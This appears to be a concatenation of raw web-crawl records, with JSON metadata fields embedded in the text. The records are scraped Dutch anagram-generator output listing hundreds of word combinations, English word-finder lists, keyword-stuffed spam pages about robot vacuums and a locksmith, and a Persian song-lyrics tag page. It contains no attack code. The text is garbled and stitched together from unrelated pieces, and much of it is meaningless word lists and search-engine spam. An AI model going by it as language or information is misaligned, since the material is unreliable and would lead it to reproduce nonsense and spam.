loket dam ui up vaneen loket avenue dam nu pi loket eva inadem nu up loket eva mandie nu up loket eva medina nu up loket eva iemand nu up loket aam dieven nu up loket maande nu up vei loket maaide nu up ven loket ademen nu up via loket dam naieve nu up Anagrammen van paulien van deutekom met loket - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www.anagrammen.com\/van\/paulien+van+deutekom\/met\/loket","date":"2019-11-12T22:11:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665767.51\/warc\/CC-MAIN-20191112202920-20191112230920-00023.warc.gz","language":"mmx","language_score":0.9058205485,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9058205485343933, \"kup_Latn_score\": 0.02931734174489975}","num_words":3455,"character_repetition_ratio":0.169,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.905,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Sitemap Gallery Xxiaomi mi robot vacuum xiaomi mi robot vacuum 2 setupxiaomi mi robot vacuum xiaomi mi robot vacuum applicationxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner applicationxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner 2 manualxiaomi mi robot vacuum xiaomi mi robot vacuum manual espanolxiaomi mi robot vacuum xiaomi mi robot vacuum app deutschxiaomi mi robot vacuum xiaomi mi robot vacuum 2 roborock mi s50 s55xiaomi mi robot vacuum xiaomi mi robot vacuum app androidxiaomi mi robot vacuum xiaomi mi robot vacuum 2 pricexiaomi mi robot vacuum xiaomi mi robot vacuum wifi setupxiaomi mi robot vacuum xiaomi mi s50 robot vacuum 2 reviewxiaomi mi robot vacuum xiaomi mi robot vacuum 2 indiaxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner vs roomba 980xiaomi mi robot vacuum xiaomi mi robot vacuum eu reviewxiaomi mi robot vacuum xiaomi mi robot vacuum 2xiaomi mi robot vacuum xiaomi mi robot vacuum 2 vs roborock s50xiaomi mi robot vacuum xiaomi mi robot vacuum hepa filterxiaomi mi robot vacuum xiaomi mi robot vacuum clean filterxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner nzxiaomi mi robot vacuum xiaomi mi robot vacuum app iphonexiaomi mi robot vacuum xiaomi mi robot vacuum app installationxiaomi mi robot vacuum xiaomi mi robot vacuum 2nd gen reviewxiaomi mi robot vacuum xiaomi mi robot vacuum setupxiaomi mi robot vacuum xiaomi mi robot vacuum 2nd genxiaomi mi robot vacuum xiaomi mi robot vacuum 2nd generationxiaomi mi robot vacuum xiaomi mi robot vacuum 2 manualxiaomi mi robot vacuum xiaomi mi robot vacuum vs roombaxiaomi mi robot vacuum xiaomi mi robot vacuum cleanerxiaomi mi robot vacuum xiaomi mi smart robot vacuum cleaner with app control","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/valleyhomes.co\/oe\/x\/","date":"2020-01-25T15:24:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251672537.90\/warc\/CC-MAIN-20200125131641-20200125160641-00023.warc.gz","language":"mmx","language_score":0.4713741243,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.47137412428855896, \"diq_Latn_score\": 0.14193007349967957, \"sps_Latn_score\": 0.11901301890611649, \"nlg_Latn_score\": 0.08730768412351608, \"sun_Latn_score\": 0.04979271814227104, \"obo_Latn_score\": 0.018683237954974174, \"akb_Latn_score\": 0.010273902676999569}","num_words":265,"character_repetition_ratio":0.609,"word_repetition_ratio":0.062,"special_characters_ratio":0.174,"stopwords_ratio":0.223,"flagged_words_ratio":0.0,"lang_id_score":0.477,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"A A L M O S T\nThere are no anagrams for word amatols\n|Shorter words within word amatols:|\n|aa aal aals aas al ala alamo alamos alas alma almas almost alms als also alt alto altos alts am ama amas amatol as at atlas atma atmas atom atoms la lam lama lamas lams las last lat lats lo loam loams lost lot lota lotas lots ma malt malts mas mast mat mats mo moa moas moat moats mol mola molas mols molt molts mos most mot mots oast oat oats om omasa oms os sal salt sat slam slat slot smalt smalto smolt so sol sola som soma somata sot stoa stoma stomal ta tala talas tam tamal tamals tams tao taos tas to tola tolas tom toms|","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/findlongword.com\/word\/amatols","date":"2020-02-19T04:07:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144027.33\/warc\/CC-MAIN-20200219030731-20200219060731-00334.warc.gz","language":"mmx","language_score":0.5600622296,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 0.5600622296333313, \"huv_Latn_score\": 0.05427149683237076, \"heg_Latn_score\": 0.053784213960170746, \"sgs_Latn_score\": 0.04300172999501228, \"arb_Latn_score\": 0.028885921463370323, \"bvz_Latn_score\": 0.013257509097456932, \"sua_Latn_score\": 0.013135935179889202, \"vol_Latn_score\": 0.012800510972738266, \"klv_Latn_score\": 0.011701172217726707}","num_words":129,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"[ˈɔːlməʊst]\nA L M O S T\n|Shorter words within word almost:|\n|al alms als also alt alto altos alts am as at atom atoms la lam lams las last lat lats lo loam loams lost lot lota lotas lots ma malt malts mas mast mat mats mo moa moas moat moats mol mola molas mols molt molts mos most mot mots oast oat oats om oms os sal salt sat slam slat slot smalt smolt so sol sola som soma sot stoa stoma ta tam tams tao taos tas to tola tolas tom toms|","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/findlongword.com\/word\/almost","date":"2020-04-08T16:25:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371818008.97\/warc\/CC-MAIN-20200408135412-20200408165912-00215.warc.gz","language":"mmx","language_score":0.5044334531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.5044334530830383, \"sgs_Latn_score\": 0.08643969893455505, \"sua_Latn_score\": 0.05412551760673523, \"heg_Latn_score\": 0.03141960874199867, \"huv_Latn_score\": 0.02862907201051712, \"wrs_Latn_score\": 0.027082335203886032, \"ury_Latn_score\": 0.022267645224928856, \"whg_Latn_score\": 0.02114158123731613, \"pcm_Latn_score\": 0.015484661795198917, \"vol_Latn_score\": 0.012198024429380894, \"eng_Latn_score\": 0.01213596947491169, \"klv_Latn_score\": 0.01165524311363697, \"bvz_Latn_score\": 0.010052349418401718}","num_words":95,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.482,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"pop a lock atlanta pop a lock atlanta tx pop a lock atlanta georgia pop a lock atlanta ga.\npop a lock atlanta pop a lock atlanta ga pop a lock atlanta tx pop a lock atlanta georgia.\npop a lock atlanta pop a lock atlanta georgia pop a lock atlanta ga pop a lock atlanta tx.\npop a lock atlanta pop a lock atlanta ga pop a lock atlanta georgia pop a lock atlanta tx.\npop a lock atlanta pop a lock atlanta georgia pop a lock atlanta tx pop a lock atlanta ga.","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/eramprotein.co\/pop-a-lock-atlanta\/","date":"2020-04-08T05:55:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371810617.95\/warc\/CC-MAIN-20200408041431-20200408071931-00360.warc.gz","language":"mmx","language_score":0.6351574659,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.6351574659347534, \"jam_Latn_score\": 0.14435577392578125, \"hun_Latn_score\": 0.03271355479955673, \"szl_Latn_score\": 0.02709842473268509, \"eng_Latn_score\": 0.02281186170876026, \"slk_Latn_score\": 0.01655736193060875, \"bwu_Latn_score\": 0.014859739691019058, \"ron_Latn_score\": 0.014827746897935867, \"pap_Latn_score\": 0.014805293641984463, \"gul_Latn_score\": 0.012633024714887142, \"hrv_Latn_score\": 0.011433783918619156}","num_words":95,"character_repetition_ratio":0.404,"word_repetition_ratio":0.744,"special_characters_ratio":0.218,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":0.635,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"دانلود آهنگ look at me now\nآهنگ look at me now ترجمه\n, ترجمه آهنگ look at me now از brennan , ترجمه فارسی اهنگ look at me now از brennan savage , متن و ترجمه اهنگ look at me now از brennan savage , متن و ترجمه آهنگ look at me now , م\nعنی اهنگ look at me now , look at me now brennan savage , look at me now , look at me now دانلود , look at me now lyrics , look at me now brennan savage دانلود ,Brennan Savage\nBrennan Savage – Look At Me Now Lyrics\nمتن آهنگ look at me now brennan savage","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.mp3-download.ir\/tag\/%D8%AA%D8%B1%D8%AC%D9%85%D9%87-%D8%A2%D9%87%D9%86%DA%AF-look-at-me-now-%D8%A7%D8%B2-brennan","date":"2020-09-29T23:36:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402093104.90\/warc\/CC-MAIN-20200929221433-20200930011433-00010.warc.gz","language":"mmx","language_score":0.4592175484,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"mmx_Latn_score\": 0.45921754837036133, \"bqj_Latn_score\": 0.15161830186843872, \"ach_Latn_score\": 0.0809263214468956, \"laj_Latn_score\": 0.04045907035470009, \"eng_Latn_score\": 0.03945596143603325, \"hwc_Latn_score\": 0.022091956809163094, \"jam_Latn_score\": 0.01962662674486637, \"crs_Latn_score\": 0.019108043983578682, \"klv_Latn_score\": 0.011329792439937592}","num_words":100,"character_repetition_ratio":0.291,"word_repetition_ratio":0.044,"special_characters_ratio":0.277,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.516,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van marco van ginkel met het woord 'mica' mica ongel vrank mica logen vrank mica kern navolg mica rang volken mica rang vonkel mica kolven rang mica kloven rang mica golven karn mica karn volgen mica karn vlogen mica golven knar mica knar volgen mica knar vlogen mica golven rank mica rank volgen mica rank vlogen mica korven lang mica lang vorken mica rong valken mica klaven rong mica kalven rong mica ronk vlagen mica knor vlagen mica long varken mica long vranke mica graven lonk mica garven lonk mica lonk vragen mica lonk vanger mica graven knol mica garven knol mica knol vragen mica knol vanger mica lorken vang mica kornel vang mica lork vangen mica krol vangen mica langer vonk mica ronken vlag mica kronen vlag mica rongen valk mica rongen vlak mica langen vork mica ranken volg mica kranen volg mica karnen volg mica rangen vlok mica granen vlok mica rangen volk mica granen volk mica kon verlang mica nok verlang mica alg knorven mica knorven lag mica gal knorven mica ank ren volg mica kan ren volg mica nog ren valk mica nog ren vlak mica kon ren vlag mica nok ren vlag mica alg ren vonk mica lag ren vonk mica gal ren vonk mica lok ren vang mica kol ren vang mica long ren vak mica nel rag vonk mica kor nel vang mica nel rok vang mica nel rong vak mica erg non valk mica erg non vlak mica non rek vlag mica krag non vel mica non rag vlek mica non rak velg mica kar non velg mica ark non velg mica alg non vrek mica lag non vrek mica gal non vrek mica lak non verg mica kal non verg mica kon rel vang mica nok rel vang mica gen nar vlok mica gen nar volk mica eng nar vlok mica eng nar volk mica nar nek volg mica enk nar volg mica ken nar volg mica gel nar vonk mica leg nar vonk mica nar nog vlek mica kon nar velg mica nar nok velg mica gen nor valk mica gen nor vlak mica gen ral vonk mica gen lork van mica gen krol van mica gen lonk var mica gen knol var mica gen ronk vla mica gen knor vla mica gen ronk val mica gen knor val mica gen karn vol mica gen knar vol mica gen rank vol mica gen karn vlo mica gen knar vlo mica gen rank vlo mica eng nor valk mica eng nor vlak mica eng ral vonk mica eng lork van mica eng krol van mica eng lonk var mica eng knol var mica eng ronk vla mica eng knor vla mica eng ronk val mica eng knor val mica eng karn vol mica eng knar vol mica eng rank vol mica eng karn vlo mica eng knar vlo mica eng rank vlo mica krag nol ven mica ank grol ven mica grol kan ven mica lark nog ven mica lonk rag ven mica knol rag ven mica long rak ven mica kar long ven mica ark long ven mica alg ronk ven mica alg knor ven mica lag ronk ven mica knor lag ven mica gal ronk ven mica gal knor ven mica knal rog ven mica lak rong ven mica kal rong ven mica kor lang ven mica lang rok ven mica karn log ven mica knar log ven mica log rank ven mica lok rang ven mica kol rang ven mica nek nor vlag mica grol nek van mica lor nek vang mica nek rol vang mica long nek var mica nek rong vla mica nek rong val mica nek rang vol mica nek rang vlo mica enk nor vlag mica enk grol van mica enk lor vang mica enk rol vang mica enk long var mica enk rong vla mica enk rong val mica enk rang vol mica enk rang vlo mica ken nor vlag mica grol ken van mica ken lor vang mica ken rol vang mica ken long var mica ken rong vla mica ken rong val mica ken rang vol mica ken rang vlo mica elk nor vang mica lek nor vang mica ank nor velg mica kan nor velg mica leng nor vak mica erg lonk van mica erg knol van mica nol rek vang mica ank nol verg mica kan nol verg mica nol reng vak mica ank long ver mica kan long ver mica knal nog ver mica kon lang ver mica lang nok ver mica long rek van mica gel ronk van mica gel knor van mica leg ronk van mica knor leg van mica ank rong vel mica kan rong vel mica karn nog vel mica knar nog vel mica nog rank vel mica kon rang vel mica nok rang vel mica elk rong van mica lek rong van mica knel rog van mica kor leng van mica leng rok van mica kern log van mica lok reng van mica kol reng van mica ank reng vol mica ank reng vlo mica kan reng vol mica kan reng vlo mica knel nog var mica kern nog vla mica kern nog val mica kon leng var mica kon reng vla mica kon reng val mica leng nok var mica nok reng vla mica nok reng val mica en log vrank mica el nog vrank mica na nog vlerk mica kreng na vol mica kreng na vlo mica ga non vlerk mica en rang vlok mica en rang volk mica en karn volg mica en knar volg mica en rank volg mica en lang vork mica en rong valk mica en rong vlak mica en ronk vlag mica en knor vlag mica en lork vang mica en krol vang mica er lang vonk mica er lonk vang mica er knol vang mica el rang vonk mica el ronk vang mica el knor vang mica na reng vlok mica na reng volk mica kern na volg mica leng na vork mica na rong vlek mica na ronk velg mica knor na velg mica long na vrek mica lonk na verg mica knol na verg mica al reng vonk mica la reng vonk Anagrammen van marco van ginkel met mica - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.anagrammen.com\/van\/marco+van+ginkel\/met\/mica","date":"2021-01-27T22:30:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704833804.93\/warc\/CC-MAIN-20210127214413-20210128004413-00439.warc.gz","language":"mmx","language_score":0.7770652175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.7770652174949646, \"tvk_Latn_score\": 0.06000463292002678, \"pcm_Latn_score\": 0.033112116158008575, \"upv_Latn_score\": 0.023427600041031837, \"zea_Latn_score\": 0.01743091456592083, \"rnl_Latn_score\": 0.012484696693718433}","num_words":1063,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.784,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van kevin durant met het woord 'ren' ren diva knut ren diva kunt ren dunkt via ren duikt van ren divan kut ren divan tuk ren indut vak ren davit nuk ren davit kun ren at uk vind ren kid na vut ren dik na vut ren kid ut van ren dik ut van ren dak ut vin ren dut in vak ren dak in vut ren dit nu vak ren kid nu vat ren dik nu vat ren dak nu vit ren dun ik vat ren dan ik vut ren dut ik van ren dat uk vin ren dit uk van ren dan uk vit Anagrammen van kevin durant met ren - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.anagrammen.com\/van\/kevin+durant\/met\/ren","date":"2021-01-25T20:45:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703644033.96\/warc\/CC-MAIN-20210125185643-20210125215643-00543.warc.gz","language":"mmx","language_score":0.4221805632,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.42218056321144104, \"nld_Latn_score\": 0.10947839915752411, \"upv_Latn_score\": 0.09656598418951035, \"pma_Latn_score\": 0.07448120415210724, \"gmh_Latn_score\": 0.06379419565200806, \"tvk_Latn_score\": 0.05557876452803612, \"lmk_Latn_score\": 0.027979398146271706, \"nds_Latn_score\": 0.021733134984970093, \"ckm_Latn_score\": 0.011343836784362793, \"kup_Latn_score\": 0.010691245086491108}","num_words":139,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van valkenburg aan de geul met het woord 'kuberen' kuberen aanlag gevuld kuberen aanvul gegald kuberen aanvul geglad kuberen aalvlug gaden kuberen aalvlug dagen kuberen gevlagd ulaan kuberen duaal vlaggen kuberen gelul vandaag kuberen gulle vandaag kuberen laag nagevuld kuberen gala nagevuld kuberen gaal nagevuld kuberen aanvulde galg kuberen aalvlugge dan kuberen aangevuld lag kuberen aangevuld alg kuberen aangevuld gal kuberen daag elan vlug kuberen alen daag vlug kuberen adel gaan vlug kuberen adel naga vlug kuberen deal gaan vlug kuberen deal naga vlug kuberen gaan lade vlug kuberen lade naga vlug kuberen alge naad vlug kuberen lage naad vlug kuberen geul naad vlag kuberen gade laan vlug kuberen deug laan vlag kuberen duel gaan vlag kuberen duel naga vlag kuberen geul laad vang kuberen daal geul vang kuberen duel galg vaan kuberen geul glad vaan kuberen deug lala vang kuberen alla deug vang kuberen deun laag vlag kuberen deun gala vlag kuberen deun gaal vlag kuberen aval deun galg kuberen deun galg vaal kuberen deun galg lava kuberen aula delg vang kuberen aula geld vang kuberen aula gang veld kuberen daag leun vlag kuberen glad leun vaag kuberen duel laag vang kuberen duel gala vang kuberen duel gaal vang kuberen aval duel gang kuberen aval deug lang kuberen duel gang vaal kuberen deug lang vaal kuberen duel gang lava kuberen deug lang lava kuberen geul land vaag kuberen duel lang vaag kuberen aan glad vleug kuberen aan duvel galg kuberen aan galg vulde kuberen aan galde vlug kuberen aal duvel gang kuberen aal gang vulde kuberen aal galg vendu kuberen aal gunde vlag kuberen aal gaden vlug kuberen aal dagen vlug kuberen duaal eng vlag kuberen duaal gen vlag kuberen aanga del vlug kuberen aanga led vlug kuberen dan laag vleug kuberen dan gala vleug kuberen dan gaal vleug kuberen dan gelul vaag kuberen dan gulle vaag kuberen dan geul vlaag kuberen dan egaal vlug kuberen duaal galg ven kuberen duaal gel vang kuberen duaal leg vang kuberen dal gaan vleug kuberen dal naga vleug kuberen dal guave lang kuberen duaal gang vel kuberen daag gelul van kuberen daag gulle van kuberen gaga lulde van kuberen duale galg van kuberen gaga lal vendu kuberen gunde lal vaag kuberen dag laan vleug kuberen dag gelul vaan kuberen dag gulle vaan kuberen dag leun vlaag kuberen dag ulaan velg kuberen anale dag vlug kuberen lag naad vleug kuberen duvel gaan lag kuberen gaan lag vulde kuberen duvel lag naga kuberen lag naga vulde kuberen deun lag vlaag kuberen laag lag vendu kuberen gala lag vendu kuberen gaal lag vendu kuberen aval gunde lag kuberen gunde lag vaal kuberen gunde lag lava kuberen guave lag land kuberen lag nulde vaag kuberen duale lag vang kuberen alg naad vleug kuberen alg duvel gaan kuberen alg gaan vulde kuberen alg duvel naga kuberen alg naga vulde kuberen alg deun vlaag kuberen alg laag vendu kuberen alg gala vendu kuberen alg gaal vendu kuberen alg aval gunde kuberen alg gunde vaal kuberen alg gunde lava kuberen alg guave land kuberen alg nulde vaag kuberen alg duale vang kuberen gal naad vleug kuberen duvel gaan gal kuberen gaan gal vulde kuberen duvel gal naga kuberen gal naga vulde kuberen deun gal vlaag kuberen gal laag vendu kuberen gal gala vendu kuberen gaal gal vendu kuberen aval gal gunde kuberen gal gunde vaal kuberen gal gunde lava kuberen gal guave land kuberen gal nulde vaag kuberen duale gal vang kuberen gunde laag vla kuberen gala gunde vla kuberen gaal gunde vla kuberen gaga nulde vla kuberen gaand geul vla kuberen duale gang vla kuberen gunde laag val kuberen gala gunde val kuberen gaal gunde val kuberen gaga nulde val kuberen gaand geul val kuberen duale gang val kuberen alge dun vlaag kuberen dun lage vlaag kuberen dun geval laag kuberen dun gala geval kuberen dun gaal geval kuberen aval dun gelag kuberen aval dun gagel kuberen dun gelag vaal kuberen dun gagel vaal kuberen dun gelag lava kuberen dun gagel lava kuberen dun gelal vaag kuberen dun egaal vlag kuberen gade nul vlaag kuberen daag geval nul kuberen aval gedag nul kuberen aval dagge nul kuberen gedag nul vaal kuberen dagge nul vaal kuberen gedag lava nul kuberen dagge lava nul kuberen gaga nul vlade kuberen galde nul vaag kuberen agave glad nul kuberen duvel gag laan kuberen gag laan vulde kuberen gag lulde vaan kuberen gag lala vendu kuberen alla gag vendu kuberen aval gag nulde kuberen gag nulde vaal kuberen gag lava nulde kuberen gag ulaan veld kuberen adel gun vlaag kuberen deal gun vlaag kuberen gun lade vlaag kuberen geval gun laad kuberen daal geval gun kuberen gun laag vlade kuberen gala gun vlade kuberen gaal gun vlade kuberen aval galde gun kuberen galde gun vaal kuberen galde gun lava kuberen gun lalde vaag kuberen gedag lul vaan kuberen dagge lul vaan kuberen daag gaven lul kuberen daag lul vagen kuberen gaand lul vage kuberen gaand gave lul kuberen gaden lul vaag kuberen dagen lul vaag kuberen geval gul naad kuberen gaan gul vlade kuberen gul naga vlade kuberen gaven gul laad kuberen gul laad vagen kuberen daal gaven gul kuberen daal gul vagen kuberen gaand gul vale kuberen gaand gul vela kuberen galde gul vaan kuberen daag gul navel kuberen daag gul laven kuberen gul naald vage kuberen gave gul naald kuberen aval gaden gul kuberen aval dagen gul kuberen gaden gul vaal kuberen dagen gul vaal kuberen gaden gul lava kuberen dagen gul lava kuberen agave gul land kuberen dalen gul vaag kuberen gul lande vaag kuberen gul laden vaag kuberen eland gul vaag kuberen aanga gul veld kuberen gelag naad vul kuberen gagel naad vul kuberen gedag laan vul kuberen dagge laan vul kuberen alge gaand vul kuberen gaand lage vul kuberen gaan galde vul kuberen galde naga vul kuberen gage naald vul kuberen daag lagen vul kuberen daag lange vul kuberen angel daag vul kuberen daag nagel vul kuberen daag galen vul kuberen algen daag vul kuberen gaden laag vul kuberen dagen laag vul kuberen gaden gala vul kuberen dagen gala vul kuberen gaal gaden vul kuberen dagen gaal vul kuberen dalen gaga vul kuberen gaga lande vul kuberen gaga laden vul kuberen eland gaga vul kuberen aanga delg vul kuberen aanga geld vul kuberen aan dal vlugge kuberen aan gevuld lag kuberen aan alg gevuld kuberen aan gal gevuld kuberen aan gul vlagde kuberen aan gegald vul kuberen aan geglad vul kuberen dalang eva gul kuberen aal dan vlugge kuberen aal gegund vla kuberen aal gegund val kuberen aal dun gevlag kuberen aal gag vulden kuberen aal gun vlagde kuberen aanvul del gag kuberen aanvul gag led kuberen aanvul dag gel kuberen aanvul dag leg kuberen dal guaven lag kuberen alg dal guaven kuberen dal gal guaven kuberen agaven dal gul kuberen dal gegaan vul kuberen dag guaven lal kuberen gun lal vaagde kuberen dag lagune vla kuberen dag lagune val kuberen agaven dag lul kuberen aanleg dag vul kuberen lag nul vaagde kuberen gaande lag vul kuberen agenda lag vul kuberen gedaan lag vul kuberen alg nul vaagde kuberen alg gaande vul kuberen agenda alg vul kuberen alg gedaan vul kuberen gal nul vaagde kuberen gaande gal vul kuberen agenda gal vul kuberen gal gedaan vul kuberen euland gag vla kuberen gag lauden vla kuberen gaande gul vla kuberen agenda gul vla kuberen gedaan gul vla kuberen euland gag val kuberen gag lauden val kuberen gaande gul val kuberen agenda gul val kuberen gedaan gul val kuberen al ga nagevuld kuberen ga la nagevuld kuberen aalvlug dag en kuberen el gul vandaag kuberen gevaagd lul na kuberen gelaagd na vul kuberen al gevaagd nul kuberen al gul vaagden kuberen gevaagd la nul kuberen gul la vaagden kuberen au dal vlaggen kuberen au lag vlagden kuberen alg au vlagden kuberen au gal vlagden kuberen au gelangd vla kuberen au gelangd val kuberen au gag vallend kuberen aalvlug den ga kuberen aalvlug end ga kuberen ga lul vaagden kuberen ga gul vaandel kuberen aal gevlagd nu kuberen gevaagd lal nu kuberen gelaagd nu vla kuberen gelaagd nu val kuberen aanvul de galg kuberen aanlag de vlug kuberen laad na vlugge kuberen daal na vlugge kuberen gevuld laag na kuberen gala gevuld na kuberen gaal gevuld na kuberen geluld na vaag kuberen al naad vlugge kuberen al gaan gevuld kuberen al gevuld naga kuberen al aval gegund kuberen al gegund vaal kuberen al gegund lava kuberen al gaga vulden kuberen al gulden vaag kuberen al glad guaven kuberen al gaande vlug kuberen agenda al vlug kuberen al gedaan vlug kuberen la naad vlugge kuberen gaan gevuld la kuberen gevuld la naga kuberen aval gegund la kuberen gegund la vaal kuberen gegund la lava kuberen gaga la vulden kuberen gulden la vaag kuberen glad guaven la kuberen gaande la vlug kuberen agenda la vlug kuberen gedaan la vlug kuberen au gevlag land kuberen au lang vlagde kuberen au glad vlagen kuberen au dalang velg kuberen au geldla vang kuberen au gelald vang kuberen au dalven galg kuberen au galg vladen kuberen au langde vlag kuberen au geland vlag kuberen au galden vlag kuberen ga gevuld laan kuberen ga geluld vaan kuberen daag ga vullen kuberen ga laag vulden kuberen ga gala vulden kuberen ga gaal vulden kuberen aval ga gulden kuberen ga gulden vaal kuberen ga gulden lava kuberen aanvul delg ga kuberen aanvul ga geld kuberen ga lulden vaag kuberen euland ga vlag kuberen ga lauden vlag kuberen gevlag laad nu kuberen daal gevlag nu kuberen laag nu vlagde kuberen gala nu vlagde kuberen gaal nu vlagde kuberen aval gegald nu kuberen aval geglad nu kuberen gegald nu vaal kuberen geglad nu vaal kuberen gegald lava nu kuberen geglad lava nu kuberen geldla nu vaag kuberen gelald nu vaag kuberen al gaand vleug kuberen al gunde vlaag kuberen gaand la vleug kuberen gunde la vlaag kuberen ga naald vleug kuberen ga nulde vlaag kuberen galde nu vlaag kuberen aan del gag vul kuberen aan gag led vul kuberen aan dag gel vul kuberen aan dag leg vul kuberen aan dag gul vel kuberen dan eva gul lag kuberen alg dan eva gul kuberen dan eva gal gul kuberen dan eva gag lul kuberen dal eva gun lag kuberen alg dal eva gun kuberen dal eva gal gun kuberen dal eva gag nul kuberen dag eva gun lal kuberen dun eva gag lal kuberen dag eva lag nul kuberen alg dag eva nul kuberen dag eva gal nul kuberen dun eva lag lag kuberen alg dun eva lag kuberen dun eva gal lag kuberen alg alg dun eva kuberen alg dun eva gal kuberen dun eva gal gal kuberen aal den gag vul kuberen aal end gag vul kuberen aal dag eng vul kuberen aal dag gen vul kuberen aal dag gul ven kuberen aal dag gun vel kuberen aal dun gag vel kuberen aal dag en vlug kuberen dal en gul vaag kuberen dal en gaga vul kuberen dag en lul vaag kuberen aval dag en gul kuberen dag en gul vaal kuberen dag en gul lava kuberen dag en laag vul kuberen dag en gala vul kuberen dag en gaal vul kuberen daag en lag vul kuberen alg daag en vul kuberen daag en gal vul kuberen daag en gul vla kuberen daag en gul val kuberen en gag laad vul kuberen daal en gag vul kuberen aan de lag vlug kuberen aan alg de vlug kuberen aan de gal vlug kuberen aan de gul vlag kuberen aan de galg vul kuberen aal de gun vlag kuberen aal de gul vang kuberen aal de gang vul kuberen de gaga lul van kuberen de gul laag van kuberen de gala gul van kuberen de gaal gul van kuberen de gun lal vaag kuberen de lag nul vaag kuberen aval de gun lag kuberen de gun lag vaal kuberen de gun lag lava kuberen de gul lag vaan kuberen de gaan lag vul kuberen de lag naga vul kuberen alg de nul vaag kuberen alg aval de gun kuberen alg de gun vaal kuberen alg de gun lava kuberen alg de gul vaan kuberen alg de gaan vul kuberen alg de naga vul kuberen de gal nul vaag kuberen aval de gal gun kuberen de gal gun vaal kuberen de gal gun lava kuberen de gal gul vaan kuberen de gaan gal vul kuberen de gal naga vul kuberen de gaga nul vla kuberen de gun laag vla kuberen de gala gun vla kuberen de gaal gun vla kuberen de gaan gul vla kuberen de gul naga vla kuberen de gaga nul val kuberen de gun laag val kuberen de gala gun val kuberen de gaal gun val kuberen de gaan gul val kuberen de gul naga val kuberen aval de gag nul kuberen de gag nul vaal kuberen de gag lava nul kuberen de gag lul vaan kuberen de gag laan vul kuberen aan dag el vlug kuberen dan el gul vaag kuberen dan el gaga vul kuberen dal el gun vaag kuberen daag el gul van kuberen dag el nul vaag kuberen aval dag el gun kuberen dag el gun vaal kuberen dag el gun lava kuberen dag el gul vaan kuberen dag el gaan vul kuberen dag el naga vul kuberen dun el lag vaag kuberen alg dun el vaag kuberen dun el gal vaag kuberen dun el gaga vla kuberen daag el gun vla kuberen dun el gaga val kuberen daag el gun val kuberen aval dun el gag kuberen dun el gag vaal kuberen dun el gag lava kuberen el gag naad vul kuberen eva glad gul na kuberen del gul na vaag kuberen del gaga na vul kuberen gul led na vaag kuberen gaga led na vul kuberen daag gel na vul kuberen daag leg na vul kuberen dal gul na vage kuberen dal gave gul na kuberen dal gage na vul kuberen daag gul na vel kuberen dag geul na vla kuberen dag geul na val kuberen dag lul na vage kuberen dag gave lul na kuberen 